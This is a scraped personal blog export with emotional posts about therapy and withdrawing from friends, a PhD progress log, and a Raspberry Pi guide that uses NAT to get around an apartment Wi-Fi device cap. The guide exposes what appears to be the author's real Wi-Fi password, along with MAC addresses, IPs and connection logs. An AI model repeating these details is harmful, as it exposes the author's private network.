m2F\u0026#43;aoxxgva28PxwvJp\u0026#43;yziid96fM8Y9nRaUWgusaAUrca1/GmmikfQJ2xe06G3n bJePNiNU5SP49lvNzGfKKv8l07XfgOyksm4x55OYUh1e3i0ZlK00ULwu2yZr0dlO tyfP3IqyeXJfiMtZznR9gVfrU8kuzwEoGy25rcAHuLmfuaGhAVCTFT\u0026#43;dSrD6Ls0d T6baPwZTDnCz6dOvZB8g8jq5V2RsI9\u0026#43;FAe5FZSQzZ/iV0JMLHwB5eYwcWiWlJL7n \u0026#43;J69MpQMCOh\u0026#43;S46y6YjNnK/gOCsMddTnN1cu9edWuoicNnM7ODn8w948fqMcv8yz Ek0xuaY\u0026#43;o6luI4HoNKncCAgPmSvH6/Xjvt5qsqqBMlkBRFY8/bWW\u0026#43;7o9LB7VwLex Bsy6Od/KW0X78XG0n1JnAw\u0026#43;kVQoaYWTWbXBV3CJ8n8dUaQn\u0026#43;ctw= =NPxh -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/how_I_am_doing.md curl -fSLO https://blog.alipour.eu/sources/posts/how_I_am_doing.md.asc gpg --verify how_I_am_doing.md.asc how_I_am_doing.md ","permalink":"https://blog.alipour.eu/posts/how_i_am_doing/","summary":"\u003cp\u003eThis constant feeling of how people think about me, how they view me, what is happening with them is killing me.\nI\u0026rsquo;m interpretting every little move, every action, every response as me being in trouble.\nNot only is it exhausting, but also it\u0026rsquo;s draining me.\nDraining me of happiness, being in pursuit of happyness.\u003c/p\u003e\n\u003cp\u003eIdk what is wrong with me. Idk why I can\u0026rsquo;t let go. I don\u0026rsquo;t know why I need so much closure. Idk. I really don\u0026rsquo;t.\nWhat I know is that I\u0026rsquo;m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life.\nSomeone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved.\u003c/p\u003e","title":"How am I doing?"},{"content":"I was watching this video the other day. It\u0026rsquo;s an interesting video imo. This is something I\u0026rsquo;ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me?\nFunnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other\u0026rsquo;s respect. Naturally that evolved into me becoming a people please. A so called \u0026ldquo;nice person\u0026rdquo;. I\u0026rsquo;ve even been made fun of with those words.\nAll of it for earning the validation I never received for being myself as a kid. All of it for receiving conditional love. And now I\u0026rsquo;m broken. When people act cold with me, I assume they don\u0026rsquo;t like me. Then I want to fix things. Then I become annoying. I look like an \u0026ldquo;anxiously attached\u0026rdquo; person.\nBut then there is a big part of me that wants to keep doing this. The problem is the second part. The part where I expect validation, but conditional validation. It\u0026rsquo;s sad, and it\u0026rsquo;s eating at my everything. I feel exhausted. I feel tired. I feel like every connection of mine is breaking apart. Connections I worked so hard to form. People I tried so hard to please.\nSo\u0026hellip; I made a decision. To stay away from everyone. To make distance.\nThe doubt came in quickly. I became scared that I might lose my connections, the connections I truly adore, the connections I don\u0026rsquo;t want to lose. But it\u0026rsquo;s part of the healing process. I need to be able to create distance, and set boundries without fear of being abandoned. And if along the way I lose some people, maybe they were never really my friends in the first place?\nThe part I\u0026rsquo;m making mistake in is that everyone thinks something bad has happened. And they \u0026ldquo;probably\u0026rdquo; expect me to talk to them about it. Now this is the part I had to work on. The \u0026ldquo;setting boundry\u0026rdquo; part. I don\u0026rsquo;t know if I can do it respectfully or not. I know I will break if I talk.\nI don\u0026rsquo;t really like to stay away from people, to push my friends away. But for now, I have to. I hope I won\u0026rsquo;t regret any of these actions. I hope I can heal. I don\u0026rsquo;t know what will happen next, I just know that I don\u0026rsquo;t want to hangout in large groups for a while. I don\u0026rsquo;t want to be happy. I want to mourn. I need to mourn. I hope I heal. I hope I won\u0026rsquo;t turn into an incel. I know I won\u0026rsquo;t. I know I push through. I know\u0026hellip;\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbusACgkQtYgoUOBM jSpGcg/\u0026#43;O/7gsSe5s82yq4fSOU0rrioTf3\u0026#43;LMkSl7ceo\u0026#43;gPJlW4CiGfkvYqQ2Gvo 7IFLlxYoThRgcQ02jJxDA6dm8Uqy9566I6yBhi4Prn2EDIH0GKOjCrbSak9HGPE2 HtL9BrHaU\u0026#43;kAbeh03Pr1RJ1jH/LDqDRTbrV6jZzN7bnCut4cPwW3ItX69VobFq2/ v\u0026#43;mJtSU6DTllTVJFomaDx0K8fX1hmLDHfgGT/UEGdWj/Zx6RFCBU3195GThm\u0026#43;3Gv Dg5fX1vj9ZEtNMr1T\u0026#43;lWEfpeECqa04c4wRxkXEIrS2DcLnz7gCl49can0nGVehJr vyx4WJ2eeG\u0026#43;spDG8cYPK9nTGu7xrsw5TxmPjkGbMe7A6lOtedbsCuJeyx8YWFk3c \u0026#43;O0170uxBWoAF2ugA986PZ13eUU6F9BxXzj\u0026#43;bQV72LdqL6eszUFyeuhxHuMs0Q9s EjrKVkFsHZaMuc1r2mcYRZG\u0026#43;BkgyELZiyBnToNj6IRwmno6XwGpjfEb9PJ/MZ\u0026#43;sf OLQReEoQRCf5Xaj3ZACRq7zk8UCHpu22MkyNMLd97YSuRGu7JyD/88OHigakjmdJ oCML5WEG\u0026#43;9/EIcEfSj\u0026#43;GdUA5fEdzXB/FJ2SoUHzQQWiFtxUqKKCPlvM3rqCfwsLE CIQBkMt8eJ7gUq\u0026#43;xQAg\u0026#43;BosLLMl1PgCQCOMml0omPyDv36vbnos= =oJ5s -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/setting_boundries.md curl -fSLO https://blog.alipour.eu/sources/posts/setting_boundries.md.asc gpg --verify setting_boundries.md.asc setting_boundries.md ","permalink":"https://blog.alipour.eu/posts/setting_boundries/","summary":"\u003cp\u003eI was watching \u003ca href=\"https://www.youtube.com/watch?v=MQzDMkeSzpw\"\u003ethis video\u003c/a\u003e the other day. It\u0026rsquo;s an interesting video imo. This is something I\u0026rsquo;ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me?\u003c/p\u003e\n\u003cp\u003eFunnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other\u0026rsquo;s respect. Naturally that evolved into me becoming a people please. A so called \u0026ldquo;nice person\u0026rdquo;. I\u0026rsquo;ve even been made fun of with those words.\u003c/p\u003e","title":"Setting Boundries"},{"content":"4th Again, let\u0026rsquo;s setup some goals for the month.\nLiterature review Keeping up with my coursework Working on my codebase Getting healthier diet and excercise-wise 30th I did a bit of literature review, it\u0026rsquo;s still lacking unfortunately.\nCoursework is ok-ish. I\u0026rsquo;ve been trying to work on assignements and understand them.\nI rewrote the whole codebase, now we have a modularized design that should be easier to add to.\nI\u0026rsquo;ve been eating more and more healthy, excercise is still lacking. I\u0026rsquo;ll get to that later.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM jSp\u0026#43;yw/9Fr8915ynwUw1iwRRONv5U0/JIYcvwbBZhGA4ylatwUpcqkvm3dRWZkcp HpxKAL8RPCyAZuqtMZel63BpjhWPfImHUA7/4h7CbGN//zJNLaKlL\u0026#43;93WUlDzrbB A2D1JZvMl6dPC65IXzRMMPnaL1lM6Ka7dNMN2KyT/L3VUsp6uxXk8Dxueu\u0026#43;kpPgk \u0026#43;w1DkW\u0026#43;BryX2efPfc7kG3kI7C0ui4LxoHwphfMulqnVlHlrG67\u0026#43;nqQXzMG0MGbHu j3kjROJAv65K\u0026#43;g7uxWgwYYorxX5yoC2dZZAYt226V8nIw4KPksyzqGv22d2h7AzP CzxTYpLlhLW\u0026#43;2yb9TKlg8uVi0QCg\u0026#43;akbaEbU2k6RC7\u0026#43;oFA14/1teE6MgCXwCx3Nz mP7SndZoR\u0026#43;fP7uignlO4v0UdmiFsbUQNRap/TnebCkz/PUX2xMIXPOZWyzKSvpgb CIRPuOyWo13SrZxPEArrLOA3tGERPqp\u0026#43;oRiKN8gX37ph2dQzeg8o5WR/2vz2Cc64 P9zEum8wZdV6dKaqkkAaGjWvDrkTLiobXvjwvP4tfH8TM/B4BYm0RmKRK1vJGsUm Hu4ukK7mGkQWYoL3mCBnlsaT9zoJJmuHxyUBj3iHj7y6t2eu7oQQLBgS9M1F0El8 1ZmGjhVLJAB9bQyxAMwOBd6EBUC\u0026#43;Y/sFcTSViytTtFUn\u0026#43;NA1MUo= =F8i0 -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/PhD_journey/November_2025.md curl -fSLO https://blog.alipour.eu/sources/PhD_journey/November_2025.md.asc gpg --verify November_2025.md.asc November_2025.md ","permalink":"https://blog.alipour.eu/phd_journey/november_2025/","summary":"\u003ch1 id=\"4th\"\u003e4th\u003c/h1\u003e\n\u003cp\u003eAgain, let\u0026rsquo;s setup some goals for the month.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eLiterature review\u003c/li\u003e\n\u003cli\u003eKeeping up with my coursework\u003c/li\u003e\n\u003cli\u003eWorking on my codebase\u003c/li\u003e\n\u003cli\u003eGetting healthier diet and excercise-wise\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"30th\"\u003e30th\u003c/h1\u003e\n\u003cp\u003eI did a bit of literature review, it\u0026rsquo;s still lacking unfortunately.\u003c/p\u003e\n\u003cp\u003eCoursework is ok-ish. I\u0026rsquo;ve been trying to work on assignements and understand them.\u003c/p\u003e\n\u003cp\u003eI rewrote the whole codebase, now we have a modularized design that should be easier to add to.\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;ve been eating more and more healthy, excercise is still lacking. I\u0026rsquo;ll get to that later.\u003c/p\u003e","title":"November '25"},{"content":"The Day My Wi-Fi Said “Eight Is Enough” My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.\nThis post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.\nHardware: what I picked and why Raspberry Pi 4 (4GB)\nIt has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.\nALFA AWUS036ACHM (USB Wi-Fi)\nReliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).\nFast USB-C power supply (official Pi 4 or 5V/3A equivalent)\nWi-Fi spikes current draw; brown-outs cause random gremlins.\n16–32 GB microSD, heatsinks, ventilated case\nThe Pi 4 appreciates a bit of airflow.\n(Optional) Ethernet cable\nIf you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.\nWhat this setup actually does The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0). The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118. Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated. Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router. If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere. Setup details (the friendly version) 1) Access point with hostapd I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.\ninterface=wlx00c0cab7ab29 ssid=\u0026lt;A_NICE_SSID\u0026gt; country_code=DE hw_mode=g channel=6 ieee80211n=1 wmm_enabled=1 # Don\u0026#39;t require HT or you\u0026#39;ll reject some tiny IoT clients: require_ht=0 wpa=2 wpa_key_mgmt=WPA-PSK rsn_pairwise=CCMP wpa_passphrase=\u0026lt;STRONG_PASSWORD\u0026gt; 2) DHCP on the IoT side (dnsmasq) Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.\ninterface=wlx00c0cab7ab29 bind-interfaces dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h dhcp-option=3,192.168.50.1 dhcp-option=6,1.1.1.1,8.8.8.8 port=0 # leave port 53 to systemd-resolved log-dhcp 3) Routing + NAT (nftables) This makes every downstream device appear as the Pi upstream:\ntable inet filter { chain input { type filter hook input priority filter; policy accept; ct state established,related accept iif \u0026#34;lo\u0026#34; accept iif \u0026#34;wlan0\u0026#34; accept iif \u0026#34;wlx00c0cab7ab29\u0026#34; accept udp dport 5353 accept # mDNS counter drop } chain forward { type filter hook forward priority filter; policy accept; ct state established,related accept iif \u0026#34;wlx00c0cab7ab29\u0026#34; oif \u0026#34;wlan0\u0026#34; accept iif \u0026#34;wlan0\u0026#34; oif \u0026#34;wlx00c0cab7ab29\u0026#34; accept } chain output { type filter hook output priority filter; policy accept; } } table ip nat { chain postrouting { type nat hook postrouting priority srcnat; policy accept; oif \u0026#34;wlan0\u0026#34; masquerade } } 4) mDNS across subnets (Avahi) The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:\n[server] allow-interfaces=wlan0,wlx00c0cab7ab29 [reflector] enable-reflector=yes I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale\nIet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.\nNow some random questions that I looked up in internet:\nHow many devices can this really support? Short answer: a lot—for IoT. Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.\nIf you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.\nWhat speeds should I expect? LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: ~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I\u0026rsquo;m golden! ^^\nInternet (IoT device → upstream via Pi): If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.\nLatency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.\nWhy these choices? 2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.\nWPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.\n20 MHz channel prevents older or power-saving devices from flaking out.\nAvahi reflector avoids any changes to the building’s router and still lets discovery work.\nNAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.\nTroubleshooting hostapd masked/disabled →\nsudo systemctl unmask hostapd \u0026amp;\u0026amp; sudo systemctl enable --now hostapd dnsmasq can’t start because of port 53 →\nset port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.\n“Station does not support mandatory HT PHY” in hostapd logs →\nadd require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.\nAirPlay/HomeKit don’t show up across subnets →\nensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:\n/etc/avahi/avahi-daemon.conf has: [server] allow-interfaces=wlan0,wlx00c0cab7ab29 [reflector] enable-reflector=yes firewall allows: udp dport 5353 accept Weak signal / flaky joins →\nuse a short USB 3 extension to move the ALFA away from the Pi and cables;\nscan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.\nClients connect but no internet →\nverify IP forward \u0026amp; NAT:\nsudo sysctl net.ipv4.ip_forward If it\u0026rsquo;s 0, enable it permanently and reload\necho \u0026#39;net.ipv4.ip_forward=1\u0026#39; | sudo tee /etc/sysctl.d/99-iot.conf sudo sysctl --system Verify the nftables NAT rule exists (masquerade out via wlan0)\nsudo nft list ruleset | sed -n \u0026#39;/table ip nat/,$p\u0026#39; | sed -n \u0026#39;1,80p\u0026#39; Add it if missing\nsudo nft add table ip nat sudo nft \u0026#39;add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }\u0026#39; sudo nft \u0026#39;add rule ip nat postrouting oif \u0026#34;wlan0\u0026#34; masquerade\u0026#39; Persist nftables (Ubuntu)\nsudo sh -c \u0026#39;nft list ruleset \u0026gt; /etc/nftables.conf\u0026#39; sudo systemctl enable --now nftables Quick service sanity checks hostapd (AP) sudo systemctl status hostapd --no-pager sudo journalctl -u hostapd -n 60 --no-pager iw dev wlx00c0cab7ab29 info iw dev wlx00c0cab7ab29 station dump dnsmasq (DHCP on IoT side) sudo systemctl status dnsmasq --no-pager sudo journalctl -u dnsmasq -n 80 --no-pager grep -E \u0026#39;interface=|dhcp-range\u0026#39; /etc/dnsmasq.d/*.conf || true tail -n 50 /var/lib/misc/dnsmasq.leases Avahi (mDNS reflector) grep -E \u0026#39;enable-reflector|allow-interfaces\u0026#39; /etc/avahi/avahi-daemon.conf sudo systemctl status avahi-daemon --no-pager sudo journalctl -u avahi-daemon -n 60 --no-pager Basic connectivity tests from a client on IoT_hub got DHCP? ip addr show ip route cat /etc/resolv.conf can you reach the Pi and the internet? ping -c 3 192.168.50.1 ping -c 3 1.1.1.1 ping -c 3 google.com DNS works end-to-end? dig +short _airplay._tcp.local @224.0.0.251 -p 5353 (Or use a Bonjour browser app to confirm the HomePod is discoverable.)\nIf AirPlay/HomeKit discovery is flaky across subnets make sure mDNS is allowed both directions on the Pi sudo nft add rule inet filter input udp dport 5353 accept sudo nft add rule inet filter forward udp dport 5353 accept sudo sh -c \u0026#39;nft list ruleset \u0026gt; /etc/nftables.conf\u0026#39; restart Avahi cleanly and re-announce sudo systemctl restart avahi-daemon sudo journalctl -u avahi-daemon -n 40 --no-pager from the Pi, watch mDNS traffic on both sides (you should see queries/answers) sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv (in another terminal:)\nsudo tcpdump -ni wlan0 udp port 5353 -vvv Throughput + airtime sanity (optional) simple iperf3 (install on Pi and a client) sudo apt-get update \u0026amp;\u0026amp; sudo apt-get install -y iperf3 (on the Pi:) iperf3 -s (on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10\ncheck channel utilization/interference (from Pi) sudo iw dev wlx00c0cab7ab29 survey dump | sed -n \u0026#39;1,200p\u0026#39; (if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)\nScaling tips (lots of tiny IoT devices) hostapd tweaks (add to hostapd.conf, then restart) (reduce management overhead slightly; keep conservative for compatibility)\nbeacon_int=100 dtim_period=2 wmm_enabled=1 ap_isolate=0 max_num_sta=256 # logical cap; real limit is airtime/driver sudo systemctl restart hostapd if some ESP/low-power clients are sticky or nap too hard: (device-side) disable aggressive power saving if supported\n(AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients\n“Clients connect but no internet” quick checklist Pi has a default route via upstream? ip route | grep default NAT counters are increasing when clients surf? sudo nft list chain ip nat postrouting -a connections tracked? sudo conntrack -L -o extended | head -n 40 last resort: bounce the pieces sudo systemctl restart hostapd dnsmasq avahi-daemon sudo systemctl restart NetworkManager || true sudo systemctl restart nftables Network Traffic (embedded from captures) For fun, and curiousity!\n1) DHCP leases (who joined the IoT network) 1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88 1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a 1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c 1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29 1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c 1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * * 1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * * 1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * * 1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 * 1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc 2) Top talkers by bytes (hosts table) 192.168.50.233,7346 192.168.50.118,7216 192.168.50.131,7216 17.253.53.203,7040 54.217.122.41,6271 192.168.50.216,5392 192.168.50.104,3058 192.168.50.189,2278 17.242.218.132,1802 192.168.50.134,1750 192.168.50.196,1653 3.122.71.119,639 18.196.19.65,570 161.117.178.131,391 17.253.53.201,148 17.57.146.25,90 10.172.72.196,66 224.0.0.251,0 224.0.0.2,0 255.255.255.255,0 3) Heaviest flows (src, dst, proto, dport, bytes) 192.168.50.202,192.168.50.131,TCP,59903,402 192.168.50.202,192.168.50.118,TCP,59807,402 161.117.178.131,192.168.50.134,TCP,58246,391 192.168.50.216,192.168.50.202,UDP,5353,336 192.168.50.202,192.168.50.189,UDP,5353,312 192.168.50.202,192.168.50.196,UDP,5353,234 17.253.53.203,192.168.50.202,TCP,64726,222 192.168.50.216,17.57.146.25,TCP,5223,172 192.168.50.216,192.168.50.233,UDP,5353,162 192.168.50.202,192.168.50.104,UDP,5353,156 17.253.53.201,192.168.50.202,TCP,64727,148 192.168.50.202,17.253.53.201,TCP,443,132 192.168.50.216,224.0.0.251,IP,0,92 192.168.50.216,224.0.0.2,IP,0,92 17.57.146.25,192.168.50.216,TCP,64544,90 192.168.50.216,192.168.50.118,UDP,5353,75 192.168.50.216,192.168.50.131,UDP,5353,75 192.168.50.216,192.168.50.134,UDP,5353,75 192.168.50.216,10.172.72.196,TCP,59593,70 10.172.72.196,192.168.50.216,TCP,51638,66 4) Conntrack snapshot (active connections inventory) ipv4 2 tcp 6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1 ipv4 2 udp 17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1 ipv4 2 udp 17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1 ipv4 2 udp 17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1 ipv4 2 tcp 6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1 ipv4 2 udp 17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1 ipv4 2 unknown 2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1 ipv4 2 udp 17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1 ipv4 2 udp 17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1 ipv4 2 udp 17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1 ipv4 2 tcp 6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1 ipv4 2 udp 17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1 ipv4 2 tcp 6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1 ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1 ipv4 2 tcp 6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1 ipv4 2 udp 17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1 ipv4 2 unknown 2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1 ipv4 2 udp 17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8 ipv4 2 udp 17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1 ipv4 2 udp 17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1 ipv4 2 udp 17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1 ipv4 2 udp 17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1 ipv4 2 udp 17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1 ipv4 2 udp 17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1 ipv4 2 tcp 6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1 ipv4 2 udp 17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1 ipv4 2 udp 17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 